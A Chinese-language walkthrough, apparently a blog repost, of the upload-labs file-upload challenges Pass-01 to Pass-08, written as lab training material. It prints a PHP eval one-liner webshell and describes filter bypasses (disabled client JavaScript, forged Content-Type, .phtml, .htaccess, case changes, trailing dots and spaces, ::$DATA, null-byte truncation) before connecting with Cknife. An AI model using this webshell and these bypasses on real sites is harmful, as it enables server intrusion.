文件上传-pass通关wp

Pass-01

看来是需要上传一个含有一句话木马的文件

这是一段JS代码,发现限制了文件上传的类型,有jpg、png、gif

因为js代码是在客户端执行的,所以我在F12后的设置中的高级设置里面,禁用了js代码,然后实现php文件上传

php文件代码:<?php @eval($_POST['a']); ?>

假设我们知道这个1.php文件存在upload目录底下,然后我们用Cknife去连接,获得webshell

总结:利用JS禁用绕过文件类型限制,通过上传的一句话木马(前提知道这个木马文件的目录),利用Cknife连接获得webshell

Pass-02

先查看源码,发现检测文件类型,则想到利用抓包修改content-type绕过检测。


$_FILES['upload_file']['type'] == 'image/jpeg'

开启代理,用BP抓包

选择Action-Send To Repeater,修改content-type为image/jpeg,点击go,成功上传

打开Cknife,找到1.php,输入a,进行木马连接

总结:利用抓包修改content-type来绕过文件类型检测

 Pass-03


第三关比较有意思,让我难过的今天有了一点色彩。

第一步,依然查看源码。

分析结果:

  •  过滤了.asp .aspx .php .jsp
  •  删除末尾的点 `目的在于使.php.不能绕过`
  •  转换为小写 `目的在于使.php不能绕过`
  •  收尾去空 `目的在于使php+空格不能绕过`
  •  提取后缀名:strrchr(),查找字符在指定字符串中`从左面开始的最后一次出现`的位置

第二步,利用phtml绕过

在页面被发送给请求的用户之前,网页服务器调用PHP解释程序来解释和执行PHP脚本。含有PHP脚本的网页通常都以“.php”、“.phps”或“.phtml”作为后缀。和ASP一样。

将1.phtml上传发现无法用木马连接,后来发现是因为Apache配置问题
打开Apache/conf/httpd.conf,将红框句子的注释去掉


后续就是之前重复的上传木马,不再赘述。

总结:

  1. 对于一些函数的认识,比如strrchr(),其实可以有%00截断漏洞(不知为何不能用)
  2. 可以利用phps、phtml、html绕过单纯后缀名检测,前提是Apache配置文件设置正确

 

Pass-04

先传.htaccess,内容为SetHandler application/x-httpd-php

再传一个2.png,里面内容还是一句话木马。因为有上面的.htaccess,2.png会被解析成php。具体操作未能实现,因为linux虚拟机的apache配置有些复杂。所以不能实现.htaccess上传

Pass-05

查看源代码发现大小写绕过没有被检测

但这次发现了一个好玩的弹窗命令,以后拿到shell了之后就可以表白用

mshta vbscript:msgbox("contents",64,"title")(window.close)

Pass-06

第一步:查看源码

  • 没有空格绕过
  • windows底下直接加空格系统会自动删除
  • 想到用bp抓包修改

第二步:用bp绕过

  • 在2.php后加一个空格,然后go

第三步:菜刀连接


总结

想到了空格绕过,但是一开始手工做,发现无法绕过。懂了windows自动加空格的原理后没有想到自己手工加也是在windows底下,自然会自动删去然后上传时无法绕过。用bp是后来看教程的,觉得思考还是很必要的。有些东西自己第一手做出来,总比看别人的要好。难过ing...

Pass-07

和上一题差不多,只是尾部加的不是空格,是点,然后用bp绕过

 

Pass-08

  • 发现没有绕过::$DATA

  • 菜刀连接

总结

这道题,我遗漏了::$DATA,看了教程才懂。原因是我没懂为什么这个能绕过,查了百度也没懂,不知道谁能解答...


    文件名绕过总结

  • 后缀名后加空格利用bp添加,在windows底下适用
  • 后缀名后加点号利用bp添加,在windows底下适用
  • 后缀名后加::$DATA利用bp添加,在windows底下适用
  • 后缀名大小写绕过bp或手工都可,简单通用
  • 后缀名名单绕过,如phtml、php5、phps、.htaccess、html等
  • 双重后缀名%00截断,如.php%00.jpg,暂时未成功过

猜你喜欢

转载自blog.csdn.net/qq_37432787/article/details/81002356